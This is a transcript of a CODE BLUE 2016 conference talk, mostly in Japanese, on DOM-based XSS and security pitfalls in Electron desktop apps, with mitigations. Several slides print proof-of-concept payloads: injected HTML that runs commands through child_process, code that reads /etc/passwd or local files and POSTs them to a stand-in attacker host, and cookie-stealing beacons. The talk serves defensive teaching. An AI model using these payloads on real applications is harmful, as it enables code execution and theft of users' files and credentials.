ELECTRON - UTF-8utf-8.jp/cb2016/cb-hasegawa-ja.pdfhttp//utf-8.jp/ Author of jjencode, aaencode...
Transcript of ELECTRON - UTF-8utf-8.jp/cb2016/cb-hasegawa-ja.pdfhttp//utf-8.jp/ Author of jjencode, aaencode...
Build cross platform desktop XSS
It’s easier than you think
ELECTRON
Secure Sky Technology Inc.
Yosuke HASEGAWA
Yosuke HASEGAWA @hasegawayosuke
Secure Sky Technology Inc. Technical AdvisorOWASP Kansai Chapter LeaderOWASP Japan Chapter board memberCODE BLUE Review board memberhttp//utf-8.jp/ Author of jjencode, aaencode
Talked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others.Found many vulns of IE, Firefox and others.
Secure Sky Technology Inc. CODE BLUE 2016
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
GitHub社によって開発された、クロスプラットフォームなデスクトップアプリケーションを開発するためのフレームワーク
HTML+JavaScriptでアプリケーションを作成できる
多くのアプリケーションで使用実績
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
HTML + JavaScript = Native AppsMicrosoft HTML Application (*.hta)
Firefox OS
Apache Cordova / Adobe PhoneGap
Chrome Apps
Electron / NW.js
ElectronCross platform
バイナリのビルドが可能
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
Node.jsとChromiumをランタイムとして内包
メインプロセスアプリケーション全体を統括。node.jsそのもの
レンダラプロセスChromium+node.js
mainprocess
renderer process
Electron Apps
IPC
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
mainprocess
renderer process
Electron Apps
IPC
index.html
package.json
{"name" : "Apps name","version" : "0.1","main" : "main.js"
}
main.jslet win = new BrowserWindow( {width:840,height:700} );
{json}
<html><head>...</head><body><script>...</script>
</body></html>
win.loadURL( `file://${__dirname}/index.html` );
Secure Sky Technology Inc. CODE BLUE 2016
What's Electron ?
レンダラではブラウザ内でnode.jsが動くnode機能は無効にもできる。デフォルト有効。
<html><script>const fs = require( "fs" );function foo(){fs.readFile( "./test.txt", { encoding: "utf-8" },(err, data) => {document.getElementById("main").textContent = data;
});
}</script><div id="main"></div>
</html>
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
レンダラプロセス : Chromium + node.jsDOM操作が多くなりがち
DOM-based XSSが発生しやすい
JavaScriptによるオープンリダイレクタ
従来のWebアプリ同様のフロントエンドのセキュリティ対策が必要
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
DOM-based XSSが発生しやすい
DOM操作が多い
そもそもDOM-based XSSは見つけにくいfs.readFile( filename, (err,data) => {
if(!err) element.innerHTML = data; //XSS!});
fs.readdir( dirname, (err,files) => {files.forEach( (filename) => {
let elm = document.createElement( "div" );elm.innerHTML =
`<a href='${filename}'>${filename}</a>`; //XSS!paerntElm.appendChild( elm );
});});
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
DOM-based XSSが発生すると致命的な被害攻撃者のインジェクトしたコード内でもnode機能が
利用可能な場合が多い
XSS = alert だけではないローカルファイルの読み書き
任意プロトコルでの通信
他アプリへの干渉
任意プロセスの生成
つまり、DOM-based XSSをきっかけに任意のコード実行が可能となる
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
従来のWebアプリニセ情報の表示、Cookieの漏えい、Webサイト内の
情報の漏えい…
「該当Webサイト内」でJSができること全て
該当Webサイトを超えては何もできない
ブラウザに守られている … サンドボックス脆弱性があっても自身のWebサイト以外への影響
はない
サイト運営者が責任を持てる範囲でしか被害が発生しない
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
ElectronにおけるXSSアプリを使っているユーザーの権限での任意コード
の実行
PC内でそのユーザーができること全て 既存アプリケーションの破壊
オンラインバンキング用アプリの改ざん、盗聴
マルウェア感染、配信
該当アプリケーションの範囲を超えて何でもできる
開発者の責任の重みがまったく変わってくる
Secure Sky Technology Inc. CODE BLUE 2016
Webアプリとしてのセキュリティ対策
Electronアプリに対する攻撃に対して
Webサイト改ざんのJavaScript難読化されていても最終的にはDOM操作
<iframe>や<script>の挿入を探す
Electronに対する攻撃用JavaScriptどのような処理でも可能性として存在
挙動を詳細に調査する必要がある
解析する側の技術も未成熟
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
ローカルアプリとしてのセキュリティ対策
ローカルアプリのセキュリティ対策も必要symlink攻撃
レースコンディション
暗号の不適切な利用
過大なアクセス権限 機密情報が644など
ファイル名の別名表記 8.3形式、ADS(file.txt::$DATA)など
その他諸々
Webアプリとは異なる知識背景プラットフォーム固有の知識も必要
Secure Sky Technology Inc. CODE BLUE 2016
Electronアプリのセキュリティ対策
おおきく3種類の問題に分けられる
Webアプリとしてのセキュリティ対策レンダラはブラウザ。DOM-based XSS対策が必要
ローカルアプリとしてのセキュリティ対策レースコンディションや不適切な暗号など、古くから
のアプリケーション同様の対策
Electron固有のセキュリティ対策様々なElectronの機能に対する対策
Secure Sky Technology Inc. CODE BLUE 2016
Electron固有のセキュリティ対策
個々のAPIを使う上での注意点<webview> tag
shell.openExternal
Electronのアーキテクチャ上の問題点BrowserWindowは通常 "file://" をロードする
ブラウザと異なりアドレスバーが存在しない
Secure Sky Technology Inc. CODE BLUE 2016
Deep dive intoDbXSS of Electron
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
ソースをエスケープせずにシンクに与えることでJS上で発生するXSSソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS
従来のXSSでの被害alertの表示
Webアプリ内に偽情報を表示
Cookieの奪取
Webアプリ内の機密情報の奪取
他には?
elm.innerHTML = "<img src=# onerror=alert('xss!')>";
elm.innerHTML = "<form>ログイン:<input type='password'>";
elm.innerHTML = "<img src=# onerror=¥"new Image().src='http://example.jp/?'+document.cookie¥">";
elm.innerHTML = "<img src=# onerror=¥"new Image().src='http://example.jp/?'+elm.innerHTML¥">";
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
レンダラ上でnode機能がデフォルト有効// xss_source は攻撃者がコントロール可能な文字列elm.innerHTML = xss_source; // XSS!
<img src=# onerror="require('child_process').exec('calc.exe',null);">
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');fetch( 'http://evil.utf-8.jp/', { method:'POST', body:s });
">
Secure Sky Technology Inc. CODE BLUE 2016
”
“
DOM-based XSS on Electron apps
任意コード実行が可能 - まるでバッファオーバーフロー
XSS: The New Buffer OverflowIn many respects, an XSS vulnerability isjust as dangerous as a buffer overflow.
多くの点から見て、XSS 脆弱性の危険性はバッファオーバーフローに匹敵します。
"Security Briefs: SDL Embraces The Web", Apr. 2008http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/en-us/magazine/cc794277.aspx
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることでJS上で発生するXSSソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
ソースをエスケープせずにシンクに与えることでJS上で発生するXSSソース:攻撃者の与えた文字列
シンク:文字列からHTMLを生成したりコードとして実行する箇所
ソース 処理 シンク
location.hash
location.href
location.search
document.referrer
window.name
xhr.responseText
postMessage
location.href
document.write
innerHTML
eval
Function
setTimeoutsetInterval
ユーザ名
データベース
ファイルの内容
コンピュータ名
ファイル名 ログの内容
webFrame.executeJavaScript
webViewrequire
Secure Sky Technology Inc. CODE BLUE 2016
DOM-based XSS on Electron apps
従来のWebアプリでは存在しなかったソースHTTPやWebと無関係なあらゆるデータがXSSソー
スとなり得る
シンクはそれほど増えていないrequireなどに動的な引数を与えることは通常ない
ソースを意識するのではなく、シンクへ渡す際にエスケープすることが重要適切なDOM操作(textContent、setAttribute等)
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
XSS対策としてレンダラにCSPを適用することは効果があるのか<head><meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'"></head><body><script src="./index.js"></script>
</body>
renderer
//index.jselm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
xss_source ='<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">';
<script>require('child_process').exec('calc.exe',null);
</script>
http://evil.utf-8.jp/
meta refreshはCSPによって制限されない
レンダラで開かれる。レンダラ内ではnode機能が利用可能。
<head><meta http-equiv="Content-Security-Policy"
content="default-src 'none';script-src 'self'"></head><body><script src="./index.js"></script>
</body>
renderer
//index.jselm.innerHTML = xss_source; // XSS!
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern<head><meta http-equiv="Content-Security-Policy"
content="default-src 'self'"></head><body><iframe id="iframe"></iframe><script src="./index.js"></script>
</body>
renderer
//index.jsiframe.setAttribute("src", xss_source); // XSS?
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
Another pattern<head><meta http-equiv="Content-Security-Policy"
content="default-src 'self'"></head><body><iframe id="iframe"></iframe><script src="./index.js"></script>
</body>
renderer
//index.jsiframe.setAttribute("src", xss_source); // XSS!
app.on('ready', () => {win = new BrowserWindow({width:600, height:400} );win.loadURL(`file://${__dirname}/index.html`);....
main.jsorigin === 'file://'
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy<head><meta http-equiv="Content-Security-Policy"
content="default-src 'self'"></head><body><iframe id="iframe"></iframe><script src="./index.js"></script>
</body>
renderer
//index.jsiframe.setAttribute("src", xss_source); // XSS!
xss_source = 'file://remote-server/share/trap.html';
window.top.location=`data:text/html,<script>require('child_process').exec('calc.exe',null);<¥/script>`;
file://remote-server/share/trap.html
originが"file://"なので攻撃者のファイルサーバも同じオリジン
top level windowではnode機能が使える
Secure Sky Technology Inc. CODE BLUE 2016
Content Security Policy
CSPによってリソースの読み込みを制限してもmeta refreshによってページ遷移が可能レンダラ内を攻撃者の用意した罠ページに遷移
攻撃者の用意した罠ページではもちろんCSPは効かない
"file://"なので攻撃者のリソースも同一オリジンになる iframeやscriptソースを埋め込みやすい
レンダラ内ではnode機能が使える
結論:CSPではXSSの脅威を軽減できない
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
レンダラのnodeを無効にすれば脅威は低減
BrowserWindow生成時に明示的に無効を指定する必要がある。デフォルト有効。
app.on('ready', () => {win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });win.loadURL(`file://${__dirname}/index.html`);....
main.js
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
レンダラではデフォルトでnode機能が有効になっている
明示的にnodeを無効にしなければ有効のままレンダラでnodeを無効にすると、Electronアプリと
して実用的なことが出来なくなる
それでもnode無効化は効果があるのか?
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
node無効のJSでどこまでの攻撃が可能か
そもそもオリジンがfile://になっている
XHR等でローカルファイルの読み取りが可能
app.on('ready', () => {win = new BrowserWindow(
{ webPreferences:{nodeIntegration:false} });win.loadURL(`file://${__dirname}/index.html`);....
var xhr = new XMLHttpRequest();xhr.open( "GET", "file://c:/file.txt", true );xhr.onload = () => {
fetch( "http://example.jp/",{ method:"POST",body:xhr.responseText } );
};xhr.send( null );
Secure Sky Technology Inc. CODE BLUE 2016
レンダラでのnodeの無効化
明示的に指定することでnodeを無効化できる
nodeを無効化にするとアプリとして実用的なことは出来なくなる
nodeを無効にしてもローカルファイルの読み取りは可能
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
Secure Sky Technology Inc. CODE BLUE 2016
iframe sandbox
アプリケーションとしてDOM操作する対象を<iframe sandbox>内のみに限定する
iframeを外から操作
iframe内でDbXSSが発生しても被害を抑えられる
<iframe sandbox="allow-same-origin" id="sb"srcdoc="<html><div id=msg'></div>..."></iframe>
....document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML ="Hello, XSS!<script>alert(1)<¥/script>"; // not work
Secure Sky Technology Inc. CODE BLUE 2016
DbXSSの緩和 - <iframe sandbox>
<iframe sandbox[="params"]> 代表的なもの
allow-forms - フォームの実行を許可
allow-scripts - スクリプトの実行を許可
allow-same-origin - 同一オリジン扱いを許可
allow-top-navigation - topへの干渉を許可
allow-popups - ポップアップを許可
allow-scriptsを指定するのは危険 iframe内で普通にJSが動く
allow-top-navigation、allow-popupsも危険
Secure Sky Technology Inc. CODE BLUE 2016
<iframe sandbox="allow-popups">
<iframe sandbox="allow-same-origin allow-popups" id="sb"srcdoc="<html><div id=msg'></div>..."></iframe>
...var xss = `<a target="_blank"href="data:text/html,<script>require('child_process').exec('calc.exe',null);<¥/script>">Click</a>`;
document.querySelector("#sb").contentDocument.querySelector("#msg").innerHTML = xss;
Click
(iframe)data:text/html,
<script>require(...)
← CE C ± √
7 8 9 / %
4 5 6 * 1/x
1 2 3 -=
0 . +
0
popupによって生成されたBrowserWindowでは、node機能が有効な状態でJavaScriptが動く
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
他のサイトをレンダラ内に埋め込む iframeと異なりwebview内から外側は完全に見え
ない(window.topなど)
外からも簡単にはDOM操作できない(iframe.contentWindowのようなものはない)
webviewごとにnode機能の有無を指定可能
allowpopups属性により新しいウィンドウの生成を許可
<webview src="http://example.jp/"></webview>
<webview src="http://example.jp/" nodeintegration></webview>
<webview src="http://example.jp/" allowpopups></webview>
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
window.open()、<a target=_blank>などで新しく開かれたウィンドウ iframeとwebviewではnodeの有効・無効は異なる
<webviewallow-popups>
node無効
レンダラ (node有効)
<iframe>nodeは常に無効
レンダラ (node有効)
<webviewallow-popupsnodeintegration>
node有効
レンダラ (node有効)
新しいレンダラ(node無効)
新しいレンダラ(node有効)
新しいレンダラ(node有効)
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
nodeは無効にしpreload機能を使うほうが安全
preload script内ではnode無効のwebview内であってもnode機能が利用可能
<webview src="http://example.jp/" preload="./prealod.js"></webview>
//preload.jswindow.loadConfig = function(){
let file = `${__dirname}/config.json`;let s = require("fs").readFileSync( file, "utf-8" );return JSON.eval( s );
};
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body><webview src="http://example.jp/"></webview><script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body><webview src="http://example.jp/"></webview><script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
よくあるケース既存のWebアプリのネイティブアプリ化
<webview>内に既存のWebアプリを埋め込み
<body><webview src="http://example.jp/"></webview><script src="native-apps.js"></script>
</body>
Code Blue SNS
Ads
webview
webview内に3rd partyの広告が入る
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
webview内に3rd partyの広告が入る場合広告JSもwebview内で自由にコード実行
webviewでnodeが有効な場合は広告JSもnode機能も使える
nodeが無効な場合でもwindow.top経由で全画面書き換え、偽ログイン画面の表示などはできる
悪意ある広告、配信サーバの汚染など…
Code Blue SNS
User:
Pass:
// load fake login pagewindow.top = "http://evil.utf-8.jp/";
Secure Sky Technology Inc. CODE BLUE 2016
<webview> tag
対策: 広告はiframe sandbox内に表示 topへの干渉を防ぐ
JS埋め込み型の広告だと対策できない
Webアプリオリジンを超えて広告がWebアプリへ影響を与えること
はない
ユーザーはアドレスバーで正規サイトか確認できる
Electronアプリ iframe内の広告でもnode機能が有効なら悪意ある
コードが実行可能
アドレスバーがないので正規サイトかの確認ができない
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
allowpopups属性window.openでpopupが可能になる
window.openでは"file:"スキームも指定可能
攻撃者はファイルサーバを経由することで"file://"オリジンのスクリプトを動作させ、ローカルファイルを読み取ることが可能
<webview src="http://example.jp/" allowpopups></webview>
// http://example.jpwindow.open("file://remote-server/share/trap.html");
// file://remote-server/share/trap.htmlvar xhr = new XMLHttpRequest();xhr.open( "GET", "file://C:/secret.txt", true );
Secure Sky Technology Inc. CODE BLUE 2016
window.open from <webview>
対策allowpopups属性をつけない
または、main.js側でURLを検査// main.jsapp.on('browser-window-created', (evt, window) => {
window.webContents.on('new-window', (evt,url) => {let protocol = require('url').parse(url).protocol;if (!protocol.match( /^https?:/ )) {
evt.defaultPrevented = true;console.log( "invalid url", url );
}});
});
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternalshell.openItem
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
URLや拡張子に対応した外部プログラムを起動const {shell} = require( 'electron' );const url = 'http://example.jp/';shell.openExternal( url ); // OS標準のブラウザが起動shell.openItem( url );
let file = 'C:/Users/hasegawa/test.txt';shell.openExternal( file ); // OS標準の方法でファイルを開くshell.openItem( file );
let filename = 'file://C:/Users/hasegawa/test.txt';shell.openExternal( file ); // OS標準の方法でファイルを開くshell.openItem( file );
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
よくあるケースwebviewからのwindow.openなどをOS標準のブ
ラウザで開く
攻撃者がURLを細工できる場合、任意のコマンドを起動可能
コマンドに引数は渡せない
webview.on( 'new-window', (e) => {shell.openExternal( e.url ); // OS標準のブラウザで開く
});
<a href="file://c:/windows/system32/calc.exe">Click</a>
Secure Sky Technology Inc. CODE BLUE 2016
shell.openExternal, shell.openItem
shell.openExternal、shell.openItemには任意のURLが渡らないよう確認が必要if (url.match( /^https?:¥/¥// )) {
shell.openExternal( url ); //ブラウザで開く}
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
Secure Sky Technology Inc. CODE BLUE 2016
Conclusion
domXss().then( die ); // ACE
nodeが有効なコンテキストで外部のスクリプトが動かないよう細心の注意が必要
file:スキームで外部のスクリプトが動かないよう細心の注意が必要攻撃者は罠ファイルサーバを利用可能
Secure Sky Technology Inc. CODE BLUE 2016
Question ?
@hasegawayosuke
http://utf-8.jp/
Credits to @harupuxa, @kinugawamasato, nishimunea